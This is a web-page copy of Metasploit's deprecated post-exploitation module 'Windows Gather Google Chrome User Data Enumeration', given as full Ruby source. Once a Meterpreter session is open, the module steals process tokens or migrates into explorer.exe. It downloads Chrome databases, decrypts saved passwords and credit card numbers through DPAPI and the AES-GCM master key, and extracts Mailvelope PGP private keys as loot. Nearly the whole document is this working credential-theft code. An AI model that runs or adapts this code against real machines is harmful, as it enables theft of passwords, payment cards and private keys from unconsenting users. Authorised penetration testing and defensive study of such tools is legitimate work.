CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_chrome.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Priv
9
include Msf::Exploit::Deprecated
10
11
deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Google Chrome User Data Enumeration',
18
'Description' => %q{
19
This module will collect user data from Google Chrome and attempt to decrypt
20
sensitive information.
21
},
22
'License' => MSF_LICENSE,
23
'Platform' => ['win'],
24
'SessionTypes' => ['meterpreter'],
25
'Author' => [
26
'Sven Taute', # Original (Meterpreter script)
27
'sinn3r', # Metasploit post module
28
'Kx499', # x64 support
29
'mubix' # Parse extensions
30
],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_close
35
core_channel_eof
36
core_channel_open
37
core_channel_read
38
core_migrate
39
stdapi_fs_stat
40
stdapi_railgun_api
41
stdapi_sys_config_getenv
42
stdapi_sys_config_getsid
43
stdapi_sys_config_getuid
44
stdapi_sys_config_steal_token
45
stdapi_sys_process_attach
46
stdapi_sys_process_get_processes
47
stdapi_sys_process_memory_allocate
48
stdapi_sys_process_memory_read
49
stdapi_sys_process_memory_write
50
]
51
}
52
}
53
)
54
)
55
56
register_options(
57
[
58
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
59
]
60
)
61
end
62
63
def extension_mailvelope_parse_key(data)
64
return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")
65
end
66
67
def extension_mailvelope_store_key(name, value)
68
return unless name =~ /(private|public)keys/i
69
70
priv_or_pub = Regexp.last_match(1)
71
72
keys = value.split(',')
73
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
74
keys.each do |key|
75
key_data = extension_mailvelope_parse_key(key)
76
vprint_good(key_data)
77
path = store_loot(
78
"chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"
79
)
80
print_good("==> Saving #{priv_or_pub} key to: #{path}")
81
end
82
end
83
84
def extension_mailvelope(username, extname)
85
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
86
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
87
if file_exist?(maildb_path) == false
88
print_error('==> Mailvelope database not found')
89
return
90
end
91
print_status('==> Downloading Mailvelope database...')
92
local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')
93
session.fs.file.download_file(local_path, maildb_path)
94
print_good("==> Downloaded to #{local_path}")
95
96
maildb = SQLite3::Database.new(local_path)
97
columns, *rows = maildb.execute2('select * from ItemTable;')
98
maildb.close
99
100
rows.each do |name, value|
101
extension_mailvelope_store_key(name, value)
102
end
103
end
104
105
def parse_prefs(username, filepath)
106
prefs = ''
107
File.open(filepath, 'rb') do |f|
108
prefs = f.read
109
end
110
results = ActiveSupport::JSON.decode(prefs)
111
if results['extensions']['settings']
112
print_status('Extensions installed: ')
113
results['extensions']['settings'].each do |name, values|
114
next unless values['manifest']
115
116
print_status("=> #{values['manifest']['name']}")
117
if values['manifest']['name'] =~ /mailvelope/i
118
print_good('==> Found Mailvelope extension, extracting PGP keys')
119
extension_mailvelope(username, name)
120
end
121
end
122
end
123
end
124
125
def get_master_key(local_state_path)
126
local_state_data = read_file(local_state_path)
127
local_state = JSON.parse(local_state_data)
128
master_key_base64 = local_state['os_crypt']['encrypted_key']
129
master_key = Rex::Text.decode_base64(master_key_base64)
130
master_key
131
end
132
133
def decrypt_data(data)
134
mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
135
return nil if mem == 0
136
137
session.railgun.memwrite(mem, data, data.length)
138
139
if session.arch == ARCH_X86
140
inout_fmt = 'V2'
141
elsif session.arch == ARCH_X64
142
inout_fmt = 'Q2'
143
else
144
fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")
145
end
146
147
pdatain = [data.length, mem].pack(inout_fmt)
148
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
149
len, addr = ret['pDataOut'].unpack(inout_fmt)
150
151
decrypted = len == 0 ? nil : session.railgun.memread(addr, len)
152
153
multi_rail = []
154
multi_rail << ['kernel32', 'LocalFree', [mem]]
155
multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
156
session.railgun.multi(multi_rail)
157
158
decrypted
159
end
160
161
def process_files(username)
162
secrets = ''
163
masterkey = nil
164
decrypt_table = Rex::Text::Table.new(
165
'Header' => 'Decrypted data',
166
'Indent' => 1,
167
'Columns' => ['Name', 'Decrypted Data', 'Origin']
168
)
169
170
@chrome_files.each do |item|
171
if item[:in_file] == 'Preferences'
172
parse_prefs(username, item[:raw_file])
173
end
174
175
next if item[:sql].nil?
176
next if item[:raw_file].nil?
177
178
db = SQLite3::Database.new(item[:raw_file])
179
begin
180
columns, *rows = db.execute2(item[:sql])
181
rescue StandardError
182
next
183
end
184
db.close
185
186
rows.map! do |row|
187
res = Hash[*columns.zip(row).flatten]
188
next unless item[:encrypted_fields] && !session.sys.config.is_system?
189
190
item[:encrypted_fields].each do |field|
191
name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']
192
origin = res['label'].nil? ? res['origin_url'] : res['label']
193
enc_data = res[field]
194
195
if enc_data.start_with? 'v10'
196
unless masterkey
197
print_status('Found password encrypted with masterkey')
198
local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
199
masterkey_encrypted = get_master_key(local_state_path)
200
masterkey = decrypt_data(masterkey_encrypted[5..])
201
print_good('Found masterkey!') if masterkey
202
end
203
204
cipher = OpenSSL::Cipher.new('aes-256-gcm')
205
cipher.decrypt
206
cipher.key = masterkey
207
cipher.iv = enc_data[3..14]
208
ciphertext = enc_data[15..-17]
209
cipher.auth_tag = enc_data[-16..]
210
pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final
211
else
212
pass = res[field + '_decrypted'] = decrypt_data(enc_data)
213
end
214
next unless !pass.nil? && (pass != '')
215
216
decrypt_table << [name, pass, origin]
217
secret = "url:#{origin} #{name}:#{pass}"
218
secrets << secret << "\n"
219
vprint_good("Decrypted data: #{secret}")
220
end
221
end
222
end
223
224
if secrets != ''
225
path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')
226
print_good("Decrypted data saved in: #{path}")
227
end
228
end
229
230
def extract_data(username)
231
# Prepare Chrome's path on remote machine
232
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
233
raw_files = {}
234
235
@chrome_files.map { |e| e[:in_file] }.uniq.each do |f|
236
remote_path = chrome_path + '\\' + f
237
238
# Verify the path before downloading the file
239
if file_exist?(remote_path) == false
240
print_error("#{f} not found")
241
next
242
end
243
244
# Store raw data
245
local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")
246
raw_files[f] = local_path
247
session.fs.file.download_file(local_path, remote_path)
248
print_good("Downloaded #{f} to '#{local_path}'")
249
end
250
251
# Assign raw file paths to @chrome_files
252
raw_files.each_pair do |raw_key, raw_path|
253
@chrome_files.each do |item|
254
if item[:in_file] == raw_key
255
item[:raw_file] = raw_path
256
end
257
end
258
end
259
260
return true
261
end
262
263
def steal_token
264
current_pid = session.sys.process.open.pid
265
target_pid = session.sys.process['explorer.exe']
266
return if target_pid == current_pid
267
268
if target_pid.to_s.empty?
269
print_warning('No explorer.exe process to impersonate.')
270
return
271
end
272
273
print_status("Impersonating token: #{target_pid}")
274
begin
275
session.sys.config.steal_token(target_pid)
276
return true
277
rescue Rex::Post::Meterpreter::RequestError => e
278
print_error("Cannot impersonate: #{e.message}")
279
return false
280
end
281
end
282
283
def migrate(pid = nil)
284
current_pid = session.sys.process.open.pid
285
if !pid.nil? && (current_pid != pid)
286
# PID is specified
287
target_pid = pid
288
print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
289
begin
290
session.core.migrate(target_pid)
291
rescue ::Exception => e
292
print_error(e.message)
293
return false
294
end
295
else
296
# No PID specified, assuming to migrate to explorer.exe
297
target_pid = session.sys.process['explorer.exe']
298
if target_pid != current_pid
299
@old_pid = current_pid
300
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
301
begin
302
session.core.migrate(target_pid)
303
rescue ::Exception => e
304
print_error(e)
305
return false
306
end
307
end
308
end
309
return true
310
end
311
312
def run
313
@chrome_files = [
314
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },
315
{ raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },
316
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },
317
{ raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },
318
{ raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },
319
{ raw: '', in_file: 'History', sql: 'select * from urls;' },
320
{ raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },
321
{ raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },
322
{ raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },
323
{ raw: '', in_file: 'Bookmarks', sql: nil },
324
{ raw: '', in_file: 'Preferences', sql: nil },
325
]
326
327
@old_pid = nil
328
migrate_success = false
329
330
# If we can impersonate a token, we use that first.
331
# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
332
got_token = steal_token
333
if !got_token && datastore['MIGRATE']
334
migrate_success = migrate
335
end
336
337
host = session.session_host
338
339
# Get Google Chrome user data path
340
env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
341
sysdrive = env_vars['SYSTEMDRIVE'].strip
342
if directory?("#{sysdrive}\\Users")
343
@profiles_path = "#{sysdrive}/Users"
344
@data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'
345
elsif directory?("#{sysdrive}\\Documents and Settings")
346
@profiles_path = "#{sysdrive}/Documents and Settings"
347
@data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'
348
end
349
350
# Get user(s)
351
usernames = []
352
if is_system?
353
print_status('Running as SYSTEM, extracting user list...')
354
print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')
355
session.fs.dir.foreach(@profiles_path) do |u|
356
not_actually_users = [
357
'.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',
358
'LocalService', 'NetworkService'
359
]
360
usernames << u unless not_actually_users.include?(u)
361
end
362
print_status "Users found: #{usernames.join(', ')}"
363
else
364
uid = session.sys.config.getuid
365
print_status "Running as user '#{uid}'..."
366
usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
367
end
368
369
has_sqlite3 = true
370
begin
371
require 'sqlite3'
372
rescue LoadError
373
print_warning('SQLite3 is not available, and we are not able to parse the database.')
374
has_sqlite3 = false
375
end
376
377
# Process files for each username
378
usernames.each do |u|
379
print_status("Extracting data for user '#{u}'...")
380
success = extract_data(u)
381
process_files(u) if success && has_sqlite3
382
end
383
384
# Migrate back to the original process
385
if datastore['MIGRATE'] && @old_pid && migrate_success
386
print_status('Migrating back...')
387
migrate(@old_pid)
388
end
389
end
390
end
391
392